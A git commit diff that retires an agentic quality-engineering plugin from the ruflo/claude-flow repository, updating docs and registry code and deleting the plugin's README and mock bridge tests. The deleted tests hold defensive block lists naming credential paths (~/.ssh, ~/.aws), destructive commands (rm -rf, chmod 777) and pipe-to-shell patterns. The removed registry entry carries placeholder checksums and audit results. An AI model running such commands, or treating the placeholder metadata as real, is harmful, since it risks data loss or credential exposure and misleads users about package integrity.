Skip to content

armgit / ruflo

Public Imported from GitHub
0

🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated

chore(plugins): retire legacy agentic-qe shim and its demo registry entry

Dragan Spiridonov8e7a8e90dced
diff --git a/CLAUDE.md b/CLAUDE.md
index dd0a2d8ff1..912dd6dcee 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -1465,7 +1465,6 @@ npx claude-flow@v3alpha plugins disable @claude-flow/plugin-name
| Plugin | Version | Description |
|--------|---------|-------------|
-| `@claude-flow/plugin-agentic-qe` | 3.0.0-alpha.4 | Agentic quality engineering integration |
| `@claude-flow/plugin-prime-radiant` | 0.1.5 | Prime Radiant intelligence integration |
| `@claude-flow/plugin-gastown-bridge` | 3.0.0-alpha.1 | Gastown bridge protocol integration |
| `@claude-flow/teammate-plugin` | 1.0.0-alpha.1 | Multi-agent teammate coordination |
diff --git a/docs/USERGUIDE.md b/docs/USERGUIDE.md
index 678d92ecdd..8a6e638258 100644
--- a/docs/USERGUIDE.md
+++ b/docs/USERGUIDE.md
@@ -1860,7 +1860,6 @@ Install these optional plugins to extend Ruflo capabilities:
| Plugin | Version | Description | Install Command |
|--------|---------|-------------|-----------------|
-| **@claude-flow/plugin-agentic-qe** | 3.0.0-alpha.2 | Quality Engineering with 58 AI agents across 12 DDD contexts. TDD, coverage analysis, security scanning, chaos engineering, accessibility testing. | `npm install @claude-flow/plugin-agentic-qe` |
| **@claude-flow/plugin-prime-radiant** | 0.1.4 | Mathematical AI interpretability with 6 engines: sheaf cohomology, spectral analysis, causal inference, quantum topology, category theory, HoTT proofs. | `npm install @claude-flow/plugin-prime-radiant` |
| **@claude-flow/plugin-gastown-bridge** | 0.1.0 | Gas Town orchestrator integration with WASM-accelerated formula parsing (instant (regex-based, no LLM call)), Beads sync, convoy management, and graph analysis. 20 MCP tools. | `npx ruflo@latest plugins install -n @claude-flow/plugin-gastown-bridge` |
| **@claude-flow/teammate-plugin** | 1.0.0-alpha.1 | Native TeammateTool integration for Claude Code v2.1.19+. BMSSP WASM acceleration, rate limiting, circuit breaker, semantic routing. 21 MCP tools. | `npx ruflo@latest plugins install -n @claude-flow/teammate-plugin` |
@@ -1890,12 +1889,7 @@ Install these optional plugins to extend Ruflo capabilities:
| **@claude-flow/plugin-quantum-optimizer** | 0.1.0 | Quantum-inspired optimization (QAOA, VQE, quantum annealing). Combinatorial optimization, Grover search, tensor networks. | `npm install @claude-flow/plugin-quantum-optimizer` |
| **@claude-flow/plugin-hyperbolic-reasoning** | 0.1.0 | Hyperbolic geometry for hierarchical reasoning. Poincaré embeddings, tree-like structure analysis, taxonomic inference. | `npm install @claude-flow/plugin-hyperbolic-reasoning` |
-**Agentic-QE Plugin Features:**
-- 58 specialized QE agents across 13 bounded contexts
-- 16 MCP tools: `aqe/generate-tests`, `aqe/tdd-cycle`, `aqe/analyze-coverage`, `aqe/security-scan`, `aqe/chaos-inject`, etc.
-- London-style TDD with red-green-refactor cycles
-- O(log n) coverage gap detection with Johnson-Lindenstrauss
-- OWASP/SANS compliance auditing
+**Quality Engineering (Agentic QE):** the in-repo `@claude-flow/plugin-agentic-qe` shim has been retired. Use the maintained [`agentic-qe`](https://www.npmjs.com/package/agentic-qe) package (`npx agentic-qe init`), or install its Claude Code plugin `agentic-qe-fleet` from the `agentic-qe` marketplace ([proffesor-for-testing/agentic-qe](https://github.com/proffesor-for-testing/agentic-qe)).
**Prime-Radiant Plugin Features:**
- 6 mathematical engines for AI interpretability
@@ -1926,9 +1920,6 @@ Install these optional plugins to extend Ruflo capabilities:
- **Hyperbolic Reasoning**: 5 tools for Poincaré embeddings, tree inference, taxonomic analysis
```bash
-# Install Quality Engineering plugin
-npm install @claude-flow/plugin-agentic-qe
-
# Install AI Interpretability plugin
npm install @claude-flow/plugin-prime-radiant
diff --git a/v3/@claude-flow/cli/__tests__/plugins-demo-registry-honesty.test.ts b/v3/@claude-flow/cli/__tests__/plugins-demo-registry-honesty.test.ts
index db92a1c410..c3d64f5c10 100644
--- a/v3/@claude-flow/cli/__tests__/plugins-demo-registry-honesty.test.ts
+++ b/v3/@claude-flow/cli/__tests__/plugins-demo-registry-honesty.test.ts
@@ -35,4 +35,16 @@ describe('plugin discovery: unverified registry fallback is labelled honestly',
expect(second.demo).toBe(true);
expect(second.source).toMatch(/\(demo\)$/);
});
+
+ it('lists no retired agentic-qe shim and only curates plugins it actually lists', async () => {
+ const svc = new PluginDiscoveryService({ requireVerification: true } as never);
+ const { registry } = await svc.discoverRegistry(svc.listRegistries()[0].name);
+ const ids = new Set(registry!.plugins.map((p) => p.id));
+
+ // The in-repo shim was removed; agentic-qe ships as its own package and Claude Code plugin.
+ expect(ids.has('@claude-flow/plugin-agentic-qe')).toBe(false);
+ for (const list of [registry!.featured, registry!.trending, registry!.newest, registry!.official]) {
+ for (const id of list) expect(ids.has(id)).toBe(true);
+ }
+ });
});
diff --git a/v3/@claude-flow/cli/scripts/publish-registry.ts b/v3/@claude-flow/cli/scripts/publish-registry.ts
index f49d85853d..8037597a16 100644
--- a/v3/@claude-flow/cli/scripts/publish-registry.ts
+++ b/v3/@claude-flow/cli/scripts/publish-registry.ts
@@ -190,7 +190,6 @@ async function generateRegistry(): Promise<PluginRegistry> {
console.log('📦 Fetching npm stats for plugins...');
const officialPackages = [
- '@claude-flow/plugin-agentic-qe',
'@claude-flow/plugin-prime-radiant',
'@claude-flow/plugin-gastown-bridge',
'@claude-flow/security',
diff --git a/v3/@claude-flow/cli/src/plugins/store/discovery.ts b/v3/@claude-flow/cli/src/plugins/store/discovery.ts
index 2a3af4dfd5..b0a8c8a122 100644
--- a/v3/@claude-flow/cli/src/plugins/store/discovery.ts
+++ b/v3/@claude-flow/cli/src/plugins/store/discovery.ts
@@ -261,10 +261,10 @@ export class PluginDiscoveryService {
totalPlugins: plugins.length,
totalDownloads: plugins.reduce((sum, p) => sum + p.downloads, 0),
totalAuthors: 1,
- featured: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-agentic-qe', '@claude-flow/plugin-prime-radiant', '@claude-flow/security', '@claude-flow/claims', '@claude-flow/teammate-plugin'],
- trending: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-agentic-qe', '@claude-flow/plugin-prime-radiant'],
- newest: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-agentic-qe', '@claude-flow/plugin-prime-radiant'],
- official: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-agentic-qe', '@claude-flow/plugin-prime-radiant', '@claude-flow/security', '@claude-flow/claims'],
+ featured: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-prime-radiant', '@claude-flow/security', '@claude-flow/claims', '@claude-flow/teammate-plugin'],
+ trending: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-prime-radiant'],
+ newest: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-prime-radiant'],
+ official: ['@claude-flow/plugin-iot-cognitum', '@claude-flow/plugin-agent-federation', '@claude-flow/plugin-prime-radiant', '@claude-flow/security', '@claude-flow/claims'],
compatibilityMatrix: [
{ pluginId: '@claude-flow/neural', pluginVersion: '3.0.0', claudeFlowVersions: ['3.x'], tested: true },
{ pluginId: '@claude-flow/security', pluginVersion: '3.0.0', claudeFlowVersions: ['3.x'], tested: true },
@@ -603,66 +603,6 @@ export class PluginDiscoveryService {
verified: true,
trustLevel: 'official',
},
- // Agentic QE - AI-powered quality engineering
- {
- id: '@claude-flow/plugin-agentic-qe',
- name: '@claude-flow/plugin-agentic-qe',
- displayName: 'Agentic Quality Engineering',
- description: 'AI-powered quality engineering with 58 agents that write tests, find bugs, predict defects, scan security, and perform chaos engineering safely.',
- version: '3.0.0-alpha.5',
- cid: 'bafybeiagenticqeplugin2024',
- size: 285000,
- checksum: 'sha256:agenticqe2024xyz',
- author: officialAuthor,
- license: 'MIT',
- categories: ['ai-ml', 'devops', 'security'],
- tags: ['testing', 'qe', 'tdd', 'security', 'chaos-engineering', 'coverage', 'defect-prediction', 'agents'],
- keywords: ['quality', 'testing', 'agents', 'tdd', 'security'],
- downloads: 1200,
- rating: 4.8,
- ratingCount: 24,
- lastUpdated: baseTime,
- createdAt: '2026-01-20T00:00:00Z',
- minClaudeFlowVersion: '3.0.0',
- dependencies: [
- { name: '@claude-flow/core', version: '^3.0.0' },
- ],
- type: 'integration',
- hooks: [
- 'aqe:generate-tests',
- 'aqe:analyze-coverage',
- 'aqe:security-scan',
- 'aqe:predict-defects',
- 'aqe:chaos-inject',
- ],
- commands: [
- 'aqe generate-tests',
- 'aqe tdd-cycle',
- 'aqe security-scan',
- 'aqe predict-defects',
- 'aqe chaos-inject',
- 'aqe quality-gate',
- 'aqe visual-regression',
- ],
- permissions: ['filesystem', 'network', 'memory'],
- exports: [
- 'TestGenerator',
- 'CoverageAnalyzer',
- 'SecurityScanner',
- 'DefectPredictor',
- 'ChaosInjector',
- 'QualityGate',
- ],
- verified: true,
- trustLevel: 'official',
- securityAudit: {
- auditor: 'claude-flow-security-team',
- auditDate: '2026-01-20T00:00:00Z',
- auditVersion: '3.0.0-alpha.3',
- passed: true,
- issues: [],
- },
- },
// Prime Radiant - Mathematical coherence and consensus verification
{
id: '@claude-flow/plugin-prime-radiant',
@@ -1150,7 +1090,6 @@ export class PluginDiscoveryService {
// Only fetch stats for real npm packages
const realNpmPackages = [
- '@claude-flow/plugin-agentic-qe',
'@claude-flow/plugin-prime-radiant',
'@claude-flow/claims',
'@claude-flow/security',
diff --git a/v3/docs/ddd/quality-engineering/README.md b/v3/docs/ddd/quality-engineering/README.md
index d80ff4eb2c..bd67dc1a84 100644
--- a/v3/docs/ddd/quality-engineering/README.md
+++ b/v3/docs/ddd/quality-engineering/README.md
@@ -1,5 +1,7 @@
# Quality Engineering Domain
+> **Retired (2026-10-09):** the in-repo `v3/plugins/agentic-qe` implementation described here was removed; it never wrapped the real `agentic-qe` package. This document is kept for history. Use the maintained [`agentic-qe`](https://www.npmjs.com/package/agentic-qe) npm package or its Claude Code plugin `agentic-qe-fleet` ([proffesor-for-testing/agentic-qe](https://github.com/proffesor-for-testing/agentic-qe)).
+
## Overview
The Quality Engineering (QE) domain provides comprehensive automated testing, quality assessment, and continuous validation capabilities for Claude Flow V3. It is implemented as the `agentic-qe` plugin with 51 specialized QE agents organized across 12 Domain-Driven Design bounded contexts.
diff --git a/v3/docs/ddd/quality-engineering/domain-model.md b/v3/docs/ddd/quality-engineering/domain-model.md
index 97f6e8e784..b0114c056d 100644
--- a/v3/docs/ddd/quality-engineering/domain-model.md
+++ b/v3/docs/ddd/quality-engineering/domain-model.md
@@ -1,5 +1,7 @@
# Quality Engineering Domain Model
+> **Retired (2026-10-09):** the in-repo `v3/plugins/agentic-qe` implementation described here was removed; it never wrapped the real `agentic-qe` package. This document is kept for history. Use the maintained [`agentic-qe`](https://www.npmjs.com/package/agentic-qe) npm package or its Claude Code plugin `agentic-qe-fleet` ([proffesor-for-testing/agentic-qe](https://github.com/proffesor-for-testing/agentic-qe)).
+
## Overview
This document defines the domain entities, value objects, aggregates, and domain services for the Quality Engineering bounded contexts in the agentic-qe plugin.
diff --git a/v3/docs/ddd/quality-engineering/integration-points.md b/v3/docs/ddd/quality-engineering/integration-points.md
index 14f68b99da..e8b0791ed6 100644
--- a/v3/docs/ddd/quality-engineering/integration-points.md
+++ b/v3/docs/ddd/quality-engineering/integration-points.md
@@ -1,5 +1,7 @@
# Quality Engineering Integration Points
+> **Retired (2026-10-09):** the in-repo `v3/plugins/agentic-qe` implementation described here was removed; it never wrapped the real `agentic-qe` package. This document is kept for history. Use the maintained [`agentic-qe`](https://www.npmjs.com/package/agentic-qe) npm package or its Claude Code plugin `agentic-qe-fleet` ([proffesor-for-testing/agentic-qe](https://github.com/proffesor-for-testing/agentic-qe)).
+
## Overview
This document describes how the Quality Engineering (agentic-qe) plugin integrates with Claude Flow V3's existing domains: Security, Core, Memory, Integration, and Coordination.
diff --git a/v3/implementation/adrs/ADR-030-agentic-qe-integration.md b/v3/implementation/adrs/ADR-030-agentic-qe-integration.md
index a735de8d2f..3c749c4362 100644
--- a/v3/implementation/adrs/ADR-030-agentic-qe-integration.md
+++ b/v3/implementation/adrs/ADR-030-agentic-qe-integration.md
@@ -1,7 +1,9 @@
# ADR-030: Agentic-QE Plugin Integration
## Status
-**Accepted** - Architecture Review Complete (2026-01-23)
+**Superseded** (2026-10-09) - the in-repo plugin `v3/plugins/agentic-qe` (`@claude-flow/plugin-agentic-qe`) was removed. It re-implemented the tools behind Zod schemas and never imported the `agentic-qe` package, so it drifted from upstream. Quality engineering is provided by the maintained [`agentic-qe`](https://www.npmjs.com/package/agentic-qe) npm package and its Claude Code plugin `agentic-qe-fleet` ([proffesor-for-testing/agentic-qe](https://github.com/proffesor-for-testing/agentic-qe)). The rest of this ADR is kept for history.
+
+Originally **Accepted** - Architecture Review Complete (2026-01-23)
### Review Summary
- Architecture design validated
diff --git a/v3/implementation/adrs/README.md b/v3/implementation/adrs/README.md
index 040577c096..d126e24d24 100644
--- a/v3/implementation/adrs/README.md
+++ b/v3/implementation/adrs/README.md
@@ -56,7 +56,7 @@ This directory contains all Architecture Decision Records for Claude-Flow v3.
| ADR-027 | RuVector PostgreSQL Integration | ✅ Implemented | [ADR-027-ruvector-postgresql-integration.md](./ADR-027-ruvector-postgresql-integration.md) |
| ADR-028 | Neural Attention Mechanisms | ✅ Implemented | [ADR-028-neural-attention-mechanisms.md](./ADR-028-neural-attention-mechanisms.md) |
| ADR-029 | GNN Integration | ✅ Implemented | [ADR-029-gnn-integration.md](./ADR-029-gnn-integration.md) |
-| ADR-030 | Agentic QE Integration | ✅ Implemented | [ADR-030-agentic-qe-integration.md](./ADR-030-agentic-qe-integration.md) |
+| ADR-030 | Agentic QE Integration | ⛔ Superseded (in-repo plugin removed; use the `agentic-qe` package) | [ADR-030-agentic-qe-integration.md](./ADR-030-agentic-qe-integration.md) |
| ADR-031 | Prime Radiant Integration | ✅ Implemented | [ADR-031-prime-radiant-integration.md](./ADR-031-prime-radiant-integration.md) |
### Packaging & Branding (ADR-042 to ADR-048)
diff --git a/v3/plugins/SECURITY-AUDIT.md b/v3/plugins/SECURITY-AUDIT.md
index ba70b64d1a..47b0210e7e 100644
--- a/v3/plugins/SECURITY-AUDIT.md
+++ b/v3/plugins/SECURITY-AUDIT.md
@@ -1,5 +1,7 @@
# Security Audit Report: agentic-qe and prime-radiant Plugins
+> **Note (2026-10-09):** the agentic-qe part of this audit (Part 1) is historical. `v3/plugins/agentic-qe` (`@claude-flow/plugin-agentic-qe`) was removed from this repository; it never wrapped the real `agentic-qe` package. The prime-radiant findings are unaffected.
+
**Initial Audit Date:** 2026-01-23
**Post-Implementation Review:** 2026-01-23
**Auditor:** V3 Security Architect
diff --git a/v3/plugins/agentic-qe/README.md b/v3/plugins/agentic-qe/README.md
deleted file mode 100644
index ff842ac97c..0000000000
--- a/v3/plugins/agentic-qe/README.md
+++ /dev/null
@@ -1,318 +0,0 @@
-# @claude-flow/plugin-agentic-qe
-
-**AI-powered quality engineering that writes tests, finds bugs, and breaks things (safely) so your users don't have to.**
-
-## What is this?
-
-This plugin adds 58 AI agents to Claude Flow that handle all aspects of software quality:
-
-- **Write tests for you** - Unit tests, integration tests, E2E tests, even chaos tests
-- **Find coverage gaps** - Shows exactly which code paths aren't tested
-- **Predict bugs before they happen** - ML-based defect prediction from code patterns
-- **Security scanning** - Find vulnerabilities, secrets, and compliance issues
-- **Break things on purpose** - Chaos engineering to test resilience (safely!)
-
-Think of it as having a team of QA engineers who never sleep, never miss edge cases, and learn from every bug they find.
-
-## Installation
-
-**Via Claude Flow CLI (recommended):**
-```bash
-npx claude-flow plugins install --name @claude-flow/plugin-agentic-qe
-```
-
-**Via npm:**
-```bash
-npm install @claude-flow/plugin-agentic-qe
-```
-
-**Verify installation:**
-```bash
-npx claude-flow plugins list
-```
-
----
-
-## Practical Examples
-
-### 🟢 Basic: Generate Unit Tests
-
-The simplest use case - point it at a file and get tests:
-
-```bash
-npx claude-flow@v3alpha mcp call aqe/generate-tests \
- --targetPath ./src/utils/calculator.ts \
- --testType unit \
- --framework vitest
-```
-
-**What you get:**
-```typescript
-// Generated: calculator.test.ts
-describe('Calculator', () => {
- it('should add two numbers', () => {
- expect(add(2, 3)).toBe(5);
- });
-
- it('should handle negative numbers', () => {
- expect(add(-1, 5)).toBe(4);
- });
-
- it('should handle decimal precision', () => {
- expect(add(0.1, 0.2)).toBeCloseTo(0.3);
- });
-});
-```
-
-### 🟡 Intermediate: TDD Workflow
-
-Give it a requirement, and it runs the full red-green-refactor cycle:
-
-```bash
-npx claude-flow@v3alpha mcp call aqe/tdd-cycle \
- --requirement "Users can reset their password via email" \
- --targetPath ./src/auth \
- --style london
-```
-
-**What happens:**
-1. Writes failing tests for password reset
-2. Implements minimal code to pass
-3. Refactors for clean code
-4. Verifies 100% coverage of the requirement
-
-### 🟡 Intermediate: Find Security Issues
-
-Scan your code for vulnerabilities:
-
-```bash
-npx claude-flow@v3alpha mcp call aqe/security-scan \
- --targetPath ./src \
- --scanType sast \
- --compliance owasp-top-10
-```
-
-**Output:**
-```json
-{
- "vulnerabilities": [
- {
- "severity": "high",
- "type": "SQL Injection",
- "file": "src/db/queries.ts",
- "line": 42,
- "fix": "Use parameterized queries instead of string concatenation"
- }
- ],
- "compliance": {
- "owasp-top-10": { "passed": 8, "failed": 2 }
- }
-}
-```
-
-### 🟠 Advanced: Quality Gates for CI/CD
-
-Block releases that don't meet quality standards:
-
-```typescript
-const evaluation = await mcp.call('aqe/evaluate-quality-gate', {
- gates: [
- { metric: 'line_coverage', operator: '>=', threshold: 80 },
- { metric: 'test_pass_rate', operator: '==', threshold: 100 },
- { metric: 'security_vulnerabilities', operator: '==', threshold: 0 },
- { metric: 'accessibility_violations', operator: '<=', threshold: 5 }
- ]
-});
-
-if (!evaluation.passed) {
- console.log('Release blocked:', evaluation.failedCriteria);
- process.exit(1);
-}
-```
-
-### 🟠 Advanced: Predict Bugs Before They Ship
-
-Use ML to find likely defects:
-
-```bash
-npx claude-flow@v3alpha mcp call aqe/predict-defects \
- --targetPath ./src/checkout \
- --includeRootCause true
-```
-
-**Output:**
-```json
-{
- "predictions": [
- {
- "file": "src/checkout/payment.ts",
- "probability": 0.78,
- "reason": "High cyclomatic complexity + recent churn + no error handling for network failures",
- "suggestedTests": ["network timeout", "partial payment failure", "currency conversion edge cases"]
- }
- ]
-}
-```
-
-### 🔴 Expert: Chaos Engineering
-
-Test how your system handles failures. **Always use dryRun first!**
-
-```bash
-# Step 1: Preview what would happen (safe)
-npx claude-flow@v3alpha mcp call aqe/chaos-inject \
- --target payment-service \
- --failureType network-latency \
- --duration 30 \
- --intensity 0.5 \
- --dryRun true
-
-# Step 2: Run the actual experiment
-npx claude-flow@v3alpha mcp call aqe/chaos-inject \
- --target payment-service \
- --failureType network-latency \
- --duration 30 \
- --intensity 0.5 \
- --dryRun false
-```
-
-**Failure types available:**
-- `network-latency` - Add delays to network calls
-- `network-partition` - Isolate services from each other
-- `cpu-stress` - Simulate high CPU load
-- `memory-pressure` - Simulate memory exhaustion
-- `disk-failure` - Simulate storage issues
-- `process-kill` - Randomly kill processes
-- `dns-failure` - Break DNS resolution
-
-### 🔴 Expert: Visual Regression Testing
-
-Catch UI changes automatically:
-
-```typescript
-// Compare against baseline
-const result = await mcp.call('aqe/visual-regression', {
- targetUrl: 'http://localhost:3000',
- viewports: [
- { width: 1920, height: 1080 }, // Desktop
- { width: 768, height: 1024 }, // Tablet
- { width: 375, height: 812 } // Mobile
- ],
- threshold: 0.1 // 10% difference allowed
-});
-
-if (result.hasRegressions) {
- console.log('Visual changes detected:', result.diffs);
-}
-```
-
-### 🟣 Exotic: Full Automated QA Pipeline
-
-Combine everything for comprehensive quality assurance:
-
-```typescript
-// 1. Generate tests for uncovered code
-const tests = await mcp.call('aqe/generate-tests', {
- targetPath: './src',
- coverage: { target: 90, focusGaps: true }
-});
-
-// 2. Run security scan
-const security = await mcp.call('aqe/security-scan', {
- targetPath: './src',
- scanType: 'sast',
- compliance: ['owasp-top-10', 'sans-25']
-});
-
-// 3. Check accessibility
-const a11y = await mcp.call('aqe/check-accessibility', {
- targetUrl: 'http://localhost:3000',
- standard: 'WCAG21-AA'
-});
-
-// 4. Predict defects
-const defects = await mcp.call('aqe/predict-defects', {
- targetPath: './src'
-});
-
-// 5. Assess release readiness
-const readiness = await mcp.call('aqe/assess-readiness', {
- criteria: [
- { name: 'coverage', required: true },
- { name: 'security', required: true },
- { name: 'accessibility', required: false }
- ]
-});
-
-console.log('Ready to ship:', readiness.approved);
-```
-
-### 🟣 Exotic: Self-Learning Test Patterns
-
-The plugin learns from your codebase and improves over time:
-
-```typescript
-// The plugin stores patterns in memory
-// After running on your codebase, it learns:
-// - Your testing style and conventions
-// - Common edge cases in your domain
-// - Patterns that historically caused bugs
-
-// Query learned patterns
-const patterns = await mcp.call('aqe/suggest-tests', {
- targetPath: './src/new-feature.ts',
- useLearned: true // Use patterns learned from your codebase
-});
-
-// Patterns are stored in:
-// - aqe/v3/test-patterns (test generation)
-// - aqe/v3/defect-patterns (bug prediction)
-// - aqe/v3/learning-trajectories (improvement over time)
-```
-
----
-
-## Available Tools
-
-| Category | Tools | What They Do |
-|----------|-------|--------------|
-| **Test Generation** | `generate-tests`, `tdd-cycle`, `suggest-tests` | Write tests automatically |
-| **Coverage** | `analyze-coverage`, `prioritize-gaps`, `track-trends` | Find untested code |
-| **Quality** | `evaluate-quality-gate`, `assess-readiness`, `calculate-risk` | Release decisions |
-| **Defects** | `predict-defects`, `analyze-root-cause`, `find-similar-defects` | Bug prediction |
-| **Security** | `security-scan`, `audit-compliance`, `detect-secrets` | Vulnerability scanning |
-| **Contracts** | `validate-contract`, `compare-contracts` | API validation |
-| **Visual** | `visual-regression`, `check-accessibility` | UI testing |
-| **Chaos** | `chaos-inject`, `assess-resilience`, `load-test` | Resilience testing |
-
----
-
-## Configuration
-
-```yaml
-# claude-flow.config.yaml
-plugins:
- agentic-qe:
- enabled: true
- config:
- defaultFramework: vitest
- coverageTarget: 80
- tddStyle: london
- complianceStandards:
- - owasp-top-10
- - sans-25
-```
-
----
-
-## Safety
-
-- **Chaos operations default to dry-run mode** - Nothing breaks until you explicitly confirm
-- **All code runs in a sandbox** - 30s timeout, 512MB memory limit, no network access
-- **Production targets are blocked** - Can't accidentally chaos-test production
-
----
-
-## License
-
-MIT
diff --git a/v3/plugins/agentic-qe/__tests__/bridges.test.ts b/v3/plugins/agentic-qe/__tests__/bridges.test.ts
deleted file mode 100644
index bccdf032e6..0000000000
--- a/v3/plugins/agentic-qe/__tests__/bridges.test.ts
+++ /dev/null
@@ -1,820 +0,0 @@
-/**
- * Agentic-QE Bridge Integration Tests
- *
- * Tests for the anti-corruption layer bridges that connect
- * agentic-qe to Claude Flow V3 domains.
- */
-
-import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Bridge Interfaces
-// ============================================================================
-
-interface BridgeConfig {
- namespace?: string;
- timeout?: number;
- maxRetries?: number;
-}
-
-interface VectorSearchResult {
- id: string;
- content: string;
- score: number;
- metadata?: Record<string, unknown>;
-}
-
-interface SecurityValidationResult {
- valid: boolean;
- violations: string[];
- riskLevel: 'low' | 'medium' | 'high' | 'critical';
-}
-
-// ============================================================================
-// Mock Memory Bridge
-// ============================================================================
-
-class MockQEMemoryBridge {
- private namespace: string;
- private storage: Map<string, { content: string; embedding: number[]; metadata?: Record<string, unknown> }> = new Map();
-
- constructor(config: BridgeConfig = {}) {
- this.namespace = config.namespace ?? 'aqe/v3';
- }
-
- async store(key: string, content: string, embedding: number[], metadata?: Record<string, unknown>): Promise<void> {
- this.storage.set(`${this.namespace}/${key}`, { content, embedding, metadata });
- }
-
- async retrieve(key: string): Promise<{ content: string; embedding: number[]; metadata?: Record<string, unknown> } | null> {
- return this.storage.get(`${this.namespace}/${key}`) ?? null;
- }
-
- async search(query: number[], topK: number = 5): Promise<VectorSearchResult[]> {
- // Mock HNSW search - returns mock results
- const results: VectorSearchResult[] = [];
- let index = 0;
-
- for (const [id, data] of this.storage) {
- if (index >= topK) break;
-
- // Mock cosine similarity
- const score = this.cosineSimilarity(query, data.embedding);
-
- results.push({
- id,
- content: data.content,
- score,
- metadata: data.metadata,
- });
- index++;
- }
-
- return results.sort((a, b) => b.score - a.score);
- }
-
- async delete(key: string): Promise<boolean> {
- return this.storage.delete(`${this.namespace}/${key}`);
- }
-
- async clear(): Promise<void> {
- for (const key of this.storage.keys()) {
- if (key.startsWith(this.namespace)) {
- this.storage.delete(key);
- }
- }
- }
-
- getStats(): { entries: number; namespace: string } {
- let entries = 0;
- for (const key of this.storage.keys()) {
- if (key.startsWith(this.namespace)) {
- entries++;
- }
- }
- return { entries, namespace: this.namespace };
- }
-
- private cosineSimilarity(a: number[], b: number[]): number {
- if (a.length !== b.length) return 0;
-
- let dotProduct = 0;
- let normA = 0;
- let normB = 0;
-
- for (let i = 0; i < a.length; i++) {
- dotProduct += a[i] * b[i];
- normA += a[i] * a[i];
- normB += b[i] * b[i];
- }
-
- return dotProduct / (Math.sqrt(normA) * Math.sqrt(normB));
- }
-
- dispose(): void {
- this.storage.clear();
- }
-}
-
-// ============================================================================
-// Mock Security Bridge
-// ============================================================================
-
-class MockQESecurityBridge {
- private blockedPaths: Set<string> = new Set(['/etc', '/var', '~/.ssh', '~/.aws']);
- private allowedCommands: Set<string> = new Set(['node', 'npm', 'npx', 'vitest', 'jest']);
-
- async validatePath(path: string): Promise<SecurityValidationResult> {
- const violations: string[] = [];
- let riskLevel: 'low' | 'medium' | 'high' | 'critical' = 'low';
-
- // Check blocked paths
- for (const blocked of this.blockedPaths) {
- if (path.includes(blocked)) {
- violations.push(`Path traversal to blocked location: ${blocked}`);
- riskLevel = 'critical';
- }
- }
-
- // Check for path traversal
- if (path.includes('..')) {
- violations.push('Path traversal detected');
- riskLevel = riskLevel === 'critical' ? 'critical' : 'high';
- }
-
- return {
- valid: violations.length === 0,
- violations,
- riskLevel,
- };
- }
-
- async validateCommand(command: string): Promise<SecurityValidationResult> {
- const violations: string[] = [];
- let riskLevel: 'low' | 'medium' | 'high' | 'critical' = 'low';
-
- const parts = command.split(/\s+/);
- const baseCommand = parts[0];
-
- if (!this.allowedCommands.has(baseCommand)) {
- violations.push(`Command not in allowed list: ${baseCommand}`);
- riskLevel = 'high';
- }
-
- // Check for dangerous patterns
- const dangerousPatterns = ['rm -rf', 'chmod 777', '> /dev'];
- for (const pattern of dangerousPatterns) {
- if (command.includes(pattern)) {
- violations.push(`Dangerous command pattern: ${pattern}`);
- riskLevel = 'critical';
- }
- }
-
- // Check for pipe to shell patterns (more flexible regex)
- if (/\|\s*(bash|sh|zsh)/.test(command)) {
- violations.push('Dangerous pipe to shell detected');
- riskLevel = 'critical';
- }
-
- return {
- valid: violations.length === 0,
- violations,
- riskLevel,
- };
- }
-
- async sanitizeInput(input: string): Promise<string> {
- // Remove potential XSS/injection patterns
- return input
- .replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
- .replace(/javascript:/gi, '')
- .replace(/on\w+\s*=/gi, '');
- }
-
- async generateToken(): Promise<string> {
- // Mock token generation
- return `aqe-token-${Date.now()}-${Math.random().toString(36).slice(2)}`;
- }
-}
-
-// ============================================================================
-// Mock Core Bridge
-// ============================================================================
-
-class MockQECoreBridge {
- private agents: Map<string, { type: string; status: string; taskCount: number }> = new Map();
- private tasks: Map<string, { type: string; status: string; assignedTo?: string }> = new Map();
-
- async spawnAgent(type: string, name: string): Promise<string> {
- const id = `${type}-${name}-${Date.now()}`;
- this.agents.set(id, { type, status: 'active', taskCount: 0 });
- return id;
- }
-
- async getAgentStatus(agentId: string): Promise<{ type: string; status: string; taskCount: number } | null> {
- return this.agents.get(agentId) ?? null;
- }
-
- async terminateAgent(agentId: string): Promise<boolean> {
- return this.agents.delete(agentId);
- }
-
- async createTask(type: string, description: string): Promise<string> {
- const id = `task-${Date.now()}`;
- this.tasks.set(id, { type, status: 'pending' });
- return id;
- }
-
- async assignTask(taskId: string, agentId: string): Promise<boolean> {
- const task = this.tasks.get(taskId);
- if (!task) return false;
-
- task.assignedTo = agentId;
- task.status = 'assigned';
-
- const agent = this.agents.get(agentId);
- if (agent) {
- agent.taskCount++;
- }
-
- return true;
- }
-
- async completeTask(taskId: string): Promise<boolean> {
- const task = this.tasks.get(taskId);
- if (!task) return false;
-
- task.status = 'completed';
- return true;
- }
-
- getStats(): { agents: number; tasks: number } {
- return {
- agents: this.agents.size,
- tasks: this.tasks.size,
- };
- }
-}
-
-// ============================================================================
-// Mock Hive Bridge
-// ============================================================================
-
-class MockQEHiveBridge {
- private members: Map<string, { role: string; status: string }> = new Map();
- private proposals: Map<string, { type: string; value: unknown; votes: Map<string, boolean> }> = new Map();
-
- async joinHive(agentId: string, role: 'worker' | 'specialist' | 'scout' = 'worker'): Promise<boolean> {
- this.members.set(agentId, { role, status: 'active' });
- return true;
- }
-
- async leaveHive(agentId: string): Promise<boolean> {
- return this.members.delete(agentId);
- }
-
- async propose(type: string, value: unknown): Promise<string> {
- const id = `proposal-${Date.now()}`;
- this.proposals.set(id, { type, value, votes: new Map() });
- return id;
- }
-
